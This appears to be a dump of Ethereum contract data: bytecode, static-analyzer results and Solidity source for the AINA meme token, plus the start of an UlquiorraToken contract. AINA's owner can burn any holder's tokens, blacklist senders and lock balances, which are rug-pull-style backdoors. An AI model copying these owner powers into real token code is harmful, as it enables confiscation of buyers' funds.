00000000000000000000000000000600052601160045260246000fd5b600061145c826110f6565b9150611467836110f6565b92508282101561147a57611479611422565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114bb602083610fe3565b91506114c682611485565b602082019050919050565b600060208201905081810360008301526114ea816114ae565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061154d602683610fe3565b9150611558826114f1565b604082019050919050565b6000602082019050818103600083015261157c81611540565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006115df602483610fe3565b91506115ea82611583565b604082019050919050565b6000602082019050818103600083015261160e816115d2565b9050919050565b6000611620826110f6565b915061162b836110f6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116605761165f611422565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006116a5826110f6565b91506116b0836110f6565b9250826116c0576116bf61166b565b5b828204905092915050565b60006116d6826110f6565b91506116e1836110f6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561171a57611719611422565b5b82820290509291505056fea26469706673582212207855e3059073c3e5228bf8b4bf15b0dd31ac48c5aa6b03d115fe4b3e0898d80264736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,233 |
0xede68fd3eb5298e6fd9661fc1282b7b0a4d1fae2
|
/*
-Moon Aina Inu (AINA)
-Liqudity Locked
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract AINA is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBlackList(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (
sys.amountToken,
sys.lockUntil
);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d691914610510578063dd62ed3e14610536578063df698fc914610564578063f2fde38b1461058a57610173565b806395d89b41146104b0578063a457c2d7146104b8578063a9059cbb146104e457610173565b806370a08231146103c7578063715018a6146103ed5780637238ccdb146103f5578063787f02331461043457806384d5d9441461045a5780638da5cb5b1461048c57610173565b8063313ce56711610130578063313ce567146102d157806339509351146102ef5780633d72d6831461031b57806352a97d5214610347578063569abd8d1461036d5780635e558d221461039557610173565b806306fdde0314610178578063095ea7b3146101f557806318160ddd1461023557806319f9a20f1461024f57806323b872dd1461027557806324d7806c146102ab575b600080fd5b6101806105b0565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102216004803603604081101561020b57600080fd5b506001600160a01b038135169060200135610646565b604080519115158252519081900360200190f35b61023d610663565b60408051918252519081900360200190f35b6102216004803603602081101561026557600080fd5b50356001600160a01b0316610669565b6102216004803603606081101561028b57600080fd5b506001600160a01b038135811691602081013590911690604001356106e5565b610221600480360360208110156102c157600080fd5b50356001600160a01b031661076c565b6102d961078a565b6040805160ff9092168252519081900360200190f35b6102216004803603604081101561030557600080fd5b506001600160a01b038135169060200135610793565b6102216004803603604081101561033157600080fd5b506001600160a01b0381351690602001356107e1565b6102216004803603602081101561035d57600080fd5b50356001600160a01b031661084a565b6103936004803603602081101561038357600080fd5b50356001600160a01b03166108b2565b005b610221600480360360608110156103ab57600080fd5b506001600160a01b0381351690602081013590604001356109d0565b61023d600480360360208110156103dd57600080fd5b50356001600160a01b0316610a46565b610393610a61565b61041b6004803603602081101561040b57600080fd5b50356001600160a01b0316610b0e565b6040805192835260208301919091528051918290030190f35b6102216004803603602081101561044a57600080fd5b50356001600160a01b0316610b55565b6102216004803603606081101561047057600080fd5b506001600160a01b038135169060208101359060400135610bbd565b610494610c3a565b604080516001600160a01b039092168252519081900360200190f35b610180610c4e565b610221600480360360408110156104ce57600080fd5b506001600160a01b038135169060200135610caf565b610221600480360360408110156104fa57600080fd5b506001600160a01b038135169060200135610d17565b6102216004803603602081101561052657600080fd5b50356001600160a01b0316610d2b565b61023d6004803603604081101561054c57600080fd5b506001600160a01b0381358116916020013516610d49565b6103936004803603602081101561057a57600080fd5b50356001600160a01b0316610d74565b610393600480360360208110156105a057600080fd5b50356001600160a01b0316610ea9565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b820191906000526020600020905b81548152906001019060200180831161061f57829003601f168201915b5050505050905090565b600061065a610653611013565b8484611017565b50600192915050565b60055490565b600060026000610677611013565b6001600160a01b0316815260208101919091526040016000205460ff1615156001146106d45760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b6106dd82611103565b506001919050565b60006106f28484846111b2565b610762846106fe611013565b61075d85604051806060016040528060288152602001611bcc602891396001600160a01b038a1660009081526004602052604081209061073c611013565b6001600160a01b03168152602081019190915260400160002054919061151d565b611017565b5060019392505050565b6001600160a01b031660009081526002602052604090205460ff1690565b60085460ff1690565b600061065a6107a0611013565b8461075d85600460006107b1611013565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610fb2565b60006107eb611013565b60085461010090046001600160a01b03908116911614610840576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b61065a83836115b4565b6000610854611013565b60085461010090046001600160a01b039081169116146108a9576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6106dd826116b0565b6108ba611013565b60085461010090046001600160a01b0390811691161461090f576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff16156109675760405162461bcd60e51b8152600401808060200182810382526021815260200180611cc66021913960400191505060405180910390fd5b6001600160a01b0381166109ac5760405162461bcd60e51b8152600401808060200182810382526026815260200180611b4e6026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19166001179055565b6000600260006109de611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610a3b5760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b61076284848461179c565b6001600160a01b031660009081526020819052604090205490565b610a69611013565b60085461010090046001600160a01b03908116911614610abe576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b60085460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360088054610100600160a81b0319169055565b6001600160a01b03811660009081526003602052604081206001810154829190421115610b42576000809250925050610b50565b805460019091015490925090505b915091565b6000610b5f611013565b60085461010090046001600160a01b03908116911614610bb4576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6106dd826118e3565b600060026000610bcb611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610c285760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b610a3b610c33611013565b85856111b2565b60085461010090046001600160a01b031690565b60078054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b600061065a610cbc611013565b8461075d85604051806060016040528060258152602001611ca16025913960046000610ce6611013565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919061151d565b600061065a610d24611013565b84846111b2565b6001600160a01b031660009081526001602052604090205460ff1690565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610d7c611013565b60085461010090046001600160a01b03908116911614610dd1576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff161515600114610e43576040805162461bcd60e51b815260206004820152601d60248201527f4f776e61626c653a2061646472657373206973206e6f742061646d696e000000604482015290519081900360640190fd5b6001600160a01b038116610e885760405162461bcd60e51b8152600401808060200182810382526026815260200180611b286026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19169055565b610eb1611013565b60085461010090046001600160a01b03908116911614610f06576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b038116610f4b5760405162461bcd60e51b8152600401808060200182810382526026815260200180611a986026913960400191505060405180910390fd5b6008546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600880546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60008282018381101561100c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661105c5760405162461bcd60e51b8152600401808060200182810382526024815260200180611c5a6024913960400191505060405180910390fd5b6001600160a01b0382166110a15760405162461bcd60e51b8152600401808060200182810382526022815260200180611abe6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03811660008181526003602052604090209061116d576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b60006001820181905580825560405181906001600160a01b038516907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf08685580908390a45050565b6001600160a01b0383166000818152600360205260409020906112065760405162461bcd60e51b8152600401808060200182810382526025815260200180611c356025913960400191505060405180910390fd5b6001600160a01b03831661124b5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a306023913960400191505060405180910390fd5b6001600160a01b03841660009081526001602052604090205460ff16156112b2576040805162461bcd60e51b8152602060048201526016602482015275022a92199181d1039b2b73232b91030b2323932b9b9960551b604482015290519081900360640190fd5b6112bd8484846119e8565b80541561144657806001015442111561136657600060018201819055815560408051606081019091526026808252611319918491611b0260208301396001600160a01b038716600090815260208190526040902054919061151d565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546113489083610fb2565b6001600160a01b038416600090815260208190526040902055611441565b60006113a98260000154604051806060016040528060228152602001611ae0602291396001600160a01b038816600090815260208190526040902054919061151d565b90506113d083604051806060016040528060268152602001611b026026913983919061151d565b6001600160a01b038616600090815260208190526040902081905582546113f79190610fb2565b6001600160a01b0380871660009081526020819052604080822093909355908616815220546114269084610fb2565b6001600160a01b038516600090815260208190526040902055505b6114cc565b61148382604051806060016040528060268152602001611b02602691396001600160a01b038716600090815260208190526040902054919061151d565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546114b29083610fb2565b6001600160a01b0384166000908152602081905260409020555b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600081848411156115ac5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611571578181015183820152602001611559565b50505050905090810190601f16801561159e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0382166115f95760405162461bcd60e51b8152600401808060200182810382526021815260200180611c146021913960400191505060405180910390fd5b611605826000836119e8565b61164281604051806060016040528060228152602001611a76602291396001600160a01b038516600090815260208190526040902054919061151d565b6001600160a01b03831660009081526020819052604090205560055461166890826119ed565b6005556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b0381166116f55760405162461bcd60e51b8152600401808060200182810382526023815260200180611c7e6023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602052604090205460ff161561174d5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a536023913960400191505060405180910390fd5b6001600160a01b0381166000818152600160208190526040808320805460ff191683179055519092917f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c291a350565b6001600160a01b038316600081815260036020526040902090611806576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b80546118129084610fb2565b6001600160a01b03851660009081526020819052604090205410156118685760405162461bcd60e51b8152600401808060200182810382526030815260200180611b746030913960400191505060405180910390fd5b6000816001015411801561187f5750806001015442115b156118905760006001820181905581555b6001810182905580546118a39084610fb2565b8082556040518391906001600160a01b038716907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558090600090a450505050565b6001600160a01b0381166119285760405162461bcd60e51b8152600401808060200182810382526023815260200180611c7e6023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602081905260409091205460ff1615151461199b576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2041646472657373206e6f7420626c61636b6c69737465640000604482015290519081900360640190fd5b6001600160a01b038116600081815260016020526040808220805460ff19169055519091907f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c2908390a350565b505050565b600061100c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061151d56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea2646970667358221220998d5913c89e9d26023fd8c23919587abc4e8fdc07c498c8f4858d21f1d64d0964736f6c63430007030033
|
{"success": true, "error": null, "results": {}}
| 8,234 |
0xb140E29B8b3d5f33E2B99471Bd96444981afd2Ef
|
//SPDX-License-Identifier: MIT
// Telegram: t.me/UlquiorraToken
pragma solidity ^0.8.7;
uint256 constant INITIAL_TAX=9;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract UlquiorraToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**6;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
string private constant _name = "Ulquiorra";
string private constant _symbol = "ULQUIORRA";
uint8 private constant _decimals = 6;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 2;
_taxFee = INITIAL_TAX;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
